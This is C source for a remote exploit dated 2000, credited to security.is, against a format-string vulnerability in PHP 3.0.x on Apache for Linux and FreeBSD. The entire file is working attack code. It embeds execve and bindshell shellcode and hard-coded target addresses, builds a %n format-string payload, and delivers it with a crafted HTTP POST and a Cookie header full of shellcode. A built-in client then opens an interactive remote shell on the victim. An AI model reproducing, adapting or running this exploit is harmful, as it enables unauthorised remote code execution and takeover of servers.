/* * Copyright (c) 2000 - Security.is * * Discovered and exploited by portal and tf8 of security.is, June 2000 * Published in October, 2000. * * Greetings go to: * the rest security.is staff: nop, DiGiT, rash, etc. * stealth; ADM folks (anti#$%, mika!!); and others, * you know who you are. * * THERE IS NO WARRANTY FOR THIS PROGRAM OF ANY KIND. YOU ARE RESPONSIBLE * FOR YOUR OWN ACTIONS. THIS IS INTENDED AS A DEMONSTRATION OF THE WEAK- * NESS, NOT A SCRIPTKIDDIE TOOL. THE REASON FOR THE DISCLOSURE IS MAINLY * BECAUSE OF AGE OF THE VULNERABILITY AND THE EXPLOIT, AND THE FACT THAT * ACTUAL SUCCESS IS LIMITED TO THE KNOWLEDGE OF THE USER. */ #include #include #include #include #include #include #include #include #include #include #include #if !defined(__FreeBSD__) # include #endif #define xLITTLE_ENDIAN 1 #define xBIG_ENDIAN 2 #define PERSISTANT 1 #define ESYSLOG 1 #define EFILE 2 #define COOKIE_SIZE 1000 #define ADDRESS_BUFFER_SIZE 8*4 #define ATTACK_BUFFER_SIZE 500 struct _platforms { char *version; char *description; unsigned long cookie_address; unsigned long eip_address; int technique; int endian; int alignment; int padding; struct _shellcodes *shellcode; }; struct _shellcodes { char *description; int length; /* depreciated */ char *code; char *nop; int type; }; /* note that the shellcodes may not contain 0x3d '=' */ struct _shellcodes shellcodes[] = { { "Linux(x86) aleph1's execve shell -> /tmp/la", 45, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/la", "\x90", 0 }, { "Linux(x86) dup2 shell", 77, /* alarm(0);fork();dup2(1,0);dup2(2,0);execute /bin/sh;exit(0) */ // "\xcc" "\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85" "\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04" "\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47" "\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0" "\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90", PERSISTANT }, { "Linux(x86) bindshell on port 3879", 129, "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh", "\x90", 3879 }, { "FreeBSD(x86) bindshell on port XXXX", 134, "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08" "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50" "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50" "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57" "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff" "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3" "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0" "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53" "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh", "\x90", 666 }, { "FreeBSD(x86) execve shellcode by mudge@l0pht.com -> /tmp/la", 67, "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/la", "\x90", 0 }, { NULL, 0, NULL, 0 } }; #define LINUX_EXECVE &shellcodes[0] #define LINUX_DUP2_SHELLCODE &shellcodes[1] #define LINUX_BINDSHELL &shellcodes[2] #define FREEBSD_BINDSHELL &shellcodes[3] #define FREEBSD_EXECVE &shellcodes[4] struct _platforms platforms[] = { { "PHP/3.0.16 on Apache 1.3.12, static", "Slackware Linux 7.0 glibc (DEVEL)", 0x0815b34c, 0xbfff9b54, //0xbfff9290, 3, xLITTLE_ENDIAN, 1, 124, /* 124 */ LINUX_BINDSHELL }, { "PHP/3.0.12 on Apache 1.3.9, static", "Slackware Linux 4.0 libc (DEVEL)", 0x081688e8, 0xbfff9460, 3, xLITTLE_ENDIAN, 1, 116, LINUX_BINDSHELL }, { "PHP/3.0.12 on Apache 1.3.12, static", "Slackware Linux 7.0 glibc (DEVEL)", 0x0814bc88, 0xbfff931c, 3, xLITTLE_ENDIAN, 1, 112, LINUX_BINDSHELL }, { "PHP/3.0.15 on Apache/1.3.12, static", "FreeBSD 3.4-STABLE with package apache+php-1.3.12+3.0.15.tgz", /* -rwxr-xr-x 1 root wheel 748095 25 20:28 /usr/local/sbin/apache */ /* /usr/local/sbin/apache: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked, not stripped */ 0x81250e0, 0xbfbf7260, 3, xLITTLE_ENDIAN, 1, 112, FREEBSD_EXECVE }, { NULL, NULL, 0L, 0L, 0, 0, 0, 0, NULL } }; char shellcode_buffer[COOKIE_SIZE+1]; char attack_buffer[ATTACK_BUFFER_SIZE+1]; char pad_buffer[256]; char prepend_buffer[256]; char append_buffer[256]; struct in_addr ina; int debug_mode = 0; int emethod = 0; int sock = -1; int failure(char *format, ...) { va_list va; fprintf (stderr, " [-]: "); va_start (va, format); vfprintf (stderr, format, va); va_end (va); fprintf (stderr, "\n"); fflush (stderr); exit(-1); } #undef DEBUG void technique_3(u_long eip_addr, u_long shellcode_addr, u_int previous) { int i; unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (prepend_buffer, '\0', sizeof(prepend_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (i = 0; i < 4; i++) { while (copied > 0x100) copied -= 0x100; #ifdef DEBUG if (debug_mode) printf ("[#] num[%d] = %d (0x%02x), copied: %d\n", i, num[i], num[i], copied); #endif if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */ { strcat (append_buffer, "%n"); #ifdef DEBUG if (debug_mode) printf (" [+] num[%d] == num[%d-1], appending \"%%n\"\n", i, i); #endif } else if (copied < num[i]) { if ( (num[i] - copied) <= 10) { #ifdef DEBUG if (debug_mode) printf (" [+] num[%d] > %d: %d bytes, skipping use of %%.u\n", i, copied, (num[i] - copied)); #endif sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "PORTALPORTAL"); copied += (num[i] - copied); strcat (append_buffer, "%n"); } else { #ifdef DEBUG if (debug_mode) printf (" [+] num[%d] > %d: %d bytes, using %%.u\n", i, copied, (num[i] - copied)); #endif sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied); copied += (num[i] - copied); strcat (append_buffer, "%n"); strcat (prepend_buffer, "AAAA"); /* dummy */ } } else //if (copied > num[i]) { #ifdef DEBUG if (debug_mode) printf (" [+] num[%d] < %d: %d bytes, increasing\n", i, copied, (copied - num[i])); #endif tmp = ((num[i] + 0xff) - copied); sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp); copied += ((num[i] + 0xff) - copied); strcat (append_buffer, "%n"); strcat (prepend_buffer, "AAAA"); } sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE) strcat (prepend_buffer, "X"); if (debug_mode) { printf ("\nGeneration complete:\nPrepend: "); for (i = 0; i < strlen(prepend_buffer); i++) { if ( ((i % 4) == 0) && (i > 0) ) printf ("."); printf ("%02x", (unsigned char)prepend_buffer[i]); } printf ("\nAppend: %s\n", append_buffer); } return; } void preparation(struct _platforms *pf) { int written_bytes = 0; int i; /* phase 1: put our nops and the shellcode in huge buffer */ memset (shellcode_buffer, '\0', sizeof(shellcode_buffer)); for (i = 0; i < COOKIE_SIZE - pf->shellcode->length; ) { memcpy (&shellcode_buffer[i], pf->shellcode->nop, strlen(pf->shellcode->nop)); i += strlen(pf->shellcode->nop); } memcpy (&shellcode_buffer[COOKIE_SIZE - pf->shellcode->length], pf->shellcode->code, pf->shellcode->length+1); /* phase 2: start filling in our attack buffer */ memset (attack_buffer, '\0', sizeof(attack_buffer)); strcpy (attack_buffer, "Content-Type: multipart/form-data; "); for (i = 0; i < pf->alignment; i++) strcat (attack_buffer, "Z"); written_bytes = strlen("The Content-Type string was: \"multipart/form-data; "); written_bytes += pf->alignment; /* switch (emethod) { case EFILE: written_bytes += 0; break; case ESYSLOG: written_bytes += 47; break; } */ written_bytes += 47; /* phase 3: set up the correct padding */ memset (pad_buffer, '\0', sizeof(pad_buffer)); i = pf->padding; while (i >= 4) { /* strcpy (pad_buffer+strlen(pad_buffer), "%20.0f"); written_bytes += 20; i -= 8; */ strcat (pad_buffer, "%c"); written_bytes += 1; i -= 4; } // written_bytes += ADDRESS_BUFFER_SIZE; /* phase 4: set up the address and impact buffers */ switch (pf->technique) { case 1: /* bgennum() */ case 2: /* tgennum() */ case 3: technique_3 (pf->eip_address, pf->cookie_address, written_bytes); break; default: failure ("Unrecognized technique: \"%d\".\n", pf->technique); break; /* never reached */ } /* phase 5: assemble the attack_buffer */ strcat (attack_buffer, prepend_buffer); strcat (attack_buffer, pad_buffer); strcat (attack_buffer, append_buffer); while (strlen(attack_buffer) < ATTACK_BUFFER_SIZE) strcat (attack_buffer, "."); if (debug_mode) { printf (" [$] Attack buffer is:\n"); for (i = 0; i < strlen(attack_buffer); i++) printf ("%02x ", (unsigned char)attack_buffer[i]); printf ("\n [$] That is,\n"); for (i = 0; i < strlen(attack_buffer); i++) printf ("%c", (unsigned char)attack_buffer[i]); printf ("\n"); } return; } struct in_addr *hostname_resolve(char *hostname, int show) { struct hostent *he = NULL; if ( (inet_aton(hostname, &ina)) == 0) { if ( (he = gethostbyname(hostname)) == NULL) failure ("Unable to resolve %s.\n", hostname); memcpy (&ina, he->h_addr, he->h_length); if (show) printf (" [+] Resolved %s to %s.\n", hostname, inet_ntoa(ina)); } return (&ina); } int do_connect(char *hostname, int port, int do_resolve) { struct sockaddr_in sin; struct in_addr *in; int sockie = -1; in = hostname_resolve(hostname, do_resolve); if ( (sockie = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) failure ("Unable to get a socket.\n"); memset (&sin, '\0', sizeof(struct sockaddr_in)); sin.sin_family = PF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = in->s_addr; if ( (connect (sockie, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0) failure ("Unable to connect to %s:%d.\n", hostname, port); return (sockie); } /* FIX ME, let this only read one byte at a time, and stop on newlines! */ int receive(char *buffer, size_t size) { struct timeval tv; fd_set fds; int i = -1; tv.tv_sec = 5; tv.tv_usec = 0; FD_ZERO (&fds); FD_SET (sock, &fds); i = select(sock+1, &fds, NULL, NULL, &tv); if (i < 0) return (-1); if (!FD_ISSET(sock, &fds)) return (-2); (void)read (sock, buffer, size); return (0); } int transmit(char *format, ...) { char buffer[8192]; struct timeval tv; fd_set fds; va_list va; int i = -1; tv.tv_sec = 5; tv.tv_usec = 0; FD_ZERO (&fds); FD_SET (sock, &fds); i = select(sock+1, NULL, &fds, NULL, &tv); if (i < 0) return (-1); if (!FD_ISSET(sock, &fds)) return (-2); memset (buffer, '\0', sizeof(buffer)); va_start (va, format); vsnprintf (buffer, sizeof(buffer)-1, format, va); va_end (va); (void)write (sock, buffer, strlen(buffer)); return (0); } void usage(char *program_name) { int i; printf (" PHP3 REMOTE EXPLOIT - June 2000\n"); printf ("%s <-s systype> <-f script> <-m ...> [options]\n", program_name); printf (" -s: Remote system type (must precede other arguments).\n"); printf (" -f: A PHP3 script on the remote server (e.g. / or /index.php3.\n"); printf (" -m: Method ('syslog' or 'file')\n"); printf (" -P: Port to use (default 80, of course).\n"); printf (" -C: Perform a version check on the remote host.\n"); printf (" -P: Alter the number of bytes needed for padding.\n"); printf (" -S: Change the shellcode to be used.\n"); printf (" -r: Specify the EIP address.\n"); printf (" -R: Change the address of the shellcode.\n"); printf (" -d: Toggle debug-mode.\n"); printf ("Available system types:\n"); for (i = 0; platforms[i].version != NULL; i++) printf (" %d: %s; %s\n", i, platforms[i].version, platforms[i].description); printf ("Available shellcodes:\n"); for (i = 0; shellcodes[i].description != NULL; i++) printf (" %d: %s\n", i, shellcodes[i].description); exit (0); } void bindshell(int rsock) { char buf[4096]; fd_set fds; struct timeval tv; int i, r; printf (" [+] Running bindshell:\n"); while (1) { FD_ZERO (&fds); FD_SET (0, &fds); /* stdin */ FD_SET (rsock, &fds); tv.tv_sec = 1; tv.tv_usec = 0; i = select (rsock+1, &fds, NULL, NULL, &tv); if (i < 0) { close (rsock); failure ("Select() returned an error.\n"); } if (i == 0) /* no change */ continue; if (FD_ISSET (0, &fds)) { memset (buf, '\0', sizeof(buf)); i = read(0, buf, sizeof(buf)-1); if (i < 0) failure ("What the heck happened to your computer?\n"); if (i > 0) { r = write (rsock, buf, i); if (r < 0) { close (rsock); failure ("Unable to transmit data, connection terminated.\n"); } } } if (FD_ISSET (rsock, &fds)) { memset (buf, '\0', sizeof(buf)); i = read(rsock, buf, sizeof(buf)-1); if (i <= 0) { close (rsock); failure ("The connection was terminated.\n"); } printf ("%s", buf); } } return; /* never reached */ } int main(int argc, char **argv) { char *program_name = argv[0]; char *victim = NULL; char *script = NULL; int do_version_check = 0; int systype = -1; int version = 0; int port = 80; int c; if (argc < 2) usage(argv[0]); victim = (char *)strdup(argv[1]); if (victim == NULL) failure ("Memory allocation failed.\n"); argv++; argc--; while ( (c = getopt(argc, argv, "p:P:s:S:r:R:C:f:m:hd")) != EOF) { switch (c) { case 'P': port = atoi(optarg); break; case 's': systype = atoi(optarg); if (systype > 3) usage(program_name); break; case 'S': if (systype >= 0) platforms[systype].shellcode = &shellcodes[atoi(optarg)]; else printf (" [-] Warning: S argument ignored because systype has not been selected.\n"); break; case 'C': do_version_check = 0; break; case 'd': debug_mode = !debug_mode; break; case 'f': script = (char *)strdup(optarg); if (script == NULL) failure ("Buy more RAM!\n"); break; case 'm': if (!strcasecmp (optarg, "syslog")) emethod = ESYSLOG; else if (!strcasecmp (optarg, "file")) emethod = EFILE; else failure ("Known methods are: 'syslog' and 'file'.\n"); break; case 'p': if (systype >= 0) platforms[systype].padding = atoi(optarg); else printf (" [-] Warning: -p argument ignored because systype has not been selected.\n"); break; case 'r': if (systype >= 0) platforms[systype].eip_address = strtoul(optarg, &optarg, 16); else printf (" [-] Warning: -r argument ignored because systype has not been selected.\n"); break; case 'R': if (systype >= 0) platforms[systype].cookie_address = strtoul(optarg, &optarg, 16); else printf (" [-] Warning: -R argument ignored because systype has not been selected.\n"); break; default: usage(program_name); break; /* not reached */ } } if ( (systype < 0) || (script == NULL) || (emethod == 0) ) usage(program_name); printf (" [+] Attacking: %s:%d.\n", victim, port); printf (" [+] System type: %s: %s.\n", platforms[systype].version, platforms[systype].description); printf (" [+] Shellcode: %s\n", platforms[systype].shellcode->description); printf (" [+] EIP address: %#08lx\n", platforms[systype].eip_address); printf (" [+] Shellcode address: %#08lx\n", platforms[systype].cookie_address); sock = do_connect(victim, port, 1); preparation((struct _platforms *)&platforms[systype]); transmit ("POST %s?STRENGUR HTTP/1.0\n", script); transmit ("Cookie: %s\n", shellcode_buffer); transmit ("Host: localhost\n"); transmit ("%s\n", attack_buffer); transmit ("Content-Length: 1337\n\n"); transmit ("too bad, dude. too bad.\n\n"); switch (platforms[systype].shellcode->type) { case 0: break; case PERSISTANT: bindshell (sock); break; default: close (sock); sock = do_connect (victim, platforms[systype].shellcode->type, 0); bindshell (sock); break; } close (sock); return (0); } /* www.hack.co.za [12 October 2000]*/